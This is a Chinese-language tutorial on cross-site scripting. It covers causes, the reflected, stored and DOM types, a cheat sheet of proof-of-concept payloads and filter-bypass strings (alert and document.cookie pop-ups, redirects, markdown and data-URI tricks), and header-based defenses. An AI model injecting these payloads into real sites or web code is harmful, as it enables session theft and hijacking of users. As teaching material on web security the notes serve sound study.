XSS-跨站脚本攻击
0x0 WHAT-什么是XSS
XSS全称为Cross Site Scripting,为了和CSS分开简写为XSS,中文名为跨站脚本。该漏洞发生在用户端,是指在渲染过程中发生了不在预期过程中的JavaScript代码执行。XSS通常被用于获取Cookie、以受攻击者的身份进行操作等行为。
- XSS的成因:服务器没有对用户的输入做过滤,利用的是浏览器会自动执行服务器发来的JS代码
- XSS的常见的了用方式:盗取cooike,流量劫持(让用户一直访问某个网站),攻击者通过CSRF等方式以用户身份执行危险操作
- 判断方式:留言板
0x1 WHY-XSS产生的成因
- 开发者没有对用户输入的信息做过滤,从而导致了用户可以输入恶意JS代码使浏览器执行
0x2 HOW-XSS的分类
0x2.1 反射型XSS
一般需要配合CSRF
- 反射型XSS通常出现在搜索等功能中,需要被攻击者点击对应的链接才能触发,且受到XSS Auditor、NoScript等防御手段的影响较大。
0X2.2 存储型XSS
存在服务器端
- 存储型XSS属于高危漏洞,攻击者能够把攻击载荷存入服务器的数据库中,造成持久化的攻击。
0x2.3 dom型XSS
- DOM型XSS不同之处在于DOM型XSS一般和服务器的解析响应没有直接关系,而是在JavaScript脚本动态执行的过程中产生的。
0x2.4 姿势
- 普通弹窗
http://localhost:8080/helloController/search?name=<script>alert("hey!")</script>
http://localhost:8080/helloController/search?name=<img src='w.123' onerror='alert("hey!")'>
http://localhost:8080/helloController/search?name=<a onclick='alert("hey!")'>点我</a>
- 图片诱导
< img onclick="window.location.href='http://www.baidu.com'" width='300' src='img/webwxgetmsgimg.jpg'/>
- 流量劫持
<script>window.location.href="http://www.baidu.com";</script>
- 盗取cooike
- 借用XSS平台生成恶意链接
0x2.5 绕过姿势
- 大小写绕过
<sCrIpT>alert(1)</sCrIpT>
<iMg src=1 oNeRrOr=alert(1)>
<marquee onscroll=alert(1)>
- 多种alert
<script>alert(1)</script>
<script>prompt(1)</script>
<script>top["al"+"ert"](1)</script>
- 伪协议绕过
<a href=javascript:/0/,alert(%22M%22)>M</a>
<a href=javascript:/M/,alert(%22M%22)>M</a>
- 图片名绕过
"><img src=x onerror=alert(document.cookie)>.gif
- markdown绕过
![a'"onerror=prompt(document.cookie)](x)
![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)
更多请点击此处
markdown语法下的:盗取COOike,XSS例子
0x3 防护手段
- HTML过滤,使用一些白名单或者黑名单来过滤用户输入的html
- X-Frame:利用X-Frame-Options响应头
- DENY:页面不能嵌入到任何iframe或者frame中
- SAMEORIGIN:页面只能被本站页面嵌入
- ALLOW-FROM:允许iframe或者frame加载
- XSS保护头:利用X-XSS-Protection来进行保护
- 0 : 表示关闭浏览器的XSS防护机制
- 1 : 删除检测到的恶意代码, 如果响应报文中没有看到 X-XSS-Protection 字段,那么浏览器就认为X-XSS-Protection配置为1,这是浏览器的默认设置
- 1; mode=block : 如果检测到恶意代码,在不渲染恶意代码